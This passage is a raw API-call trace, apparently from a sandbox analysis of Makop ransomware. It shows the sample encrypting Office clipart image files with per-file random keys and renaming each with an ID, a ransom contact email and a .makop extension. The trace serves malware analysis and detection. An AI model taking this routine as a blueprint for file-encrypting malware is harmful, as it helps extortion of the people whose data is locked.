hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.008] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.008] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.008] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3615, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3615, lpOverlapped=0x0) returned 1 [0137.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3620, dwBufLen=0x3620 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3620) returned 1 [0137.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3620, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3620, lpOverlapped=0x0) returned 1 [0137.011] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x36f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.011] SetEndOfFile (hFile=0xf0) returned 1 [0137.018] GetProcessHeap () returned 0x48a0000 [0137.018] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.018] GetProcessHeap () returned 0x48a0000 [0137.018] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.018] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.023] CloseHandle (hObject=0xf0) returned 1 [0137.024] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0137.024] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG") returned 63 [0137.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.026] GetProcessHeap () returned 0x48a0000 [0137.026] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.026] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0137.030] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.030] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.030] GetProcessHeap () returned 0x48a0000 [0137.030] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.030] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.030] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.031] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.031] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.031] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.031] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.031] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2026, lpOverlapped=0x0) returned 1 [0137.033] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030, dwBufLen=0x2030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2030) returned 1 [0137.033] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.033] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2030, lpOverlapped=0x0) returned 1 [0137.033] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.034] SetEndOfFile (hFile=0xf0) returned 1 [0137.040] GetProcessHeap () returned 0x48a0000 [0137.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.040] GetProcessHeap () returned 0x48a0000 [0137.040] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.040] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.042] CloseHandle (hObject=0xf0) returned 1 [0137.042] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0137.042] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG") returned 63 [0137.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.043] GetProcessHeap () returned 0x48a0000 [0137.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.043] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0137.048] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.048] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.048] GetProcessHeap () returned 0x48a0000 [0137.048] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.048] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.048] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.048] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.048] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.049] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.049] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.049] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.049] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3df7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3df7, lpOverlapped=0x0) returned 1 [0137.051] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e00, dwBufLen=0x3e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3e00) returned 1 [0137.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3e00, lpOverlapped=0x0) returned 1 [0137.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.051] SetEndOfFile (hFile=0xf0) returned 1 [0137.058] GetProcessHeap () returned 0x48a0000 [0137.058] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.058] GetProcessHeap () returned 0x48a0000 [0137.058] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.058] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.060] CloseHandle (hObject=0xf0) returned 1 [0137.060] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0137.060] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG") returned 63 [0137.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.061] GetProcessHeap () returned 0x48a0000 [0137.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.061] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0137.065] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.065] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.066] GetProcessHeap () returned 0x48a0000 [0137.066] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.066] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.066] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.066] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.066] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.067] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.067] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.067] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.067] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d7f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d7f, lpOverlapped=0x0) returned 1 [0137.068] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d80) returned 1 [0137.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d80, lpOverlapped=0x0) returned 1 [0137.069] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.069] SetEndOfFile (hFile=0xf0) returned 1 [0137.076] GetProcessHeap () returned 0x48a0000 [0137.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.076] GetProcessHeap () returned 0x48a0000 [0137.076] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.077] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.078] CloseHandle (hObject=0xf0) returned 1 [0137.078] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0137.078] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG") returned 63 [0137.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.079] GetProcessHeap () returned 0x48a0000 [0137.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.080] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.080] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, 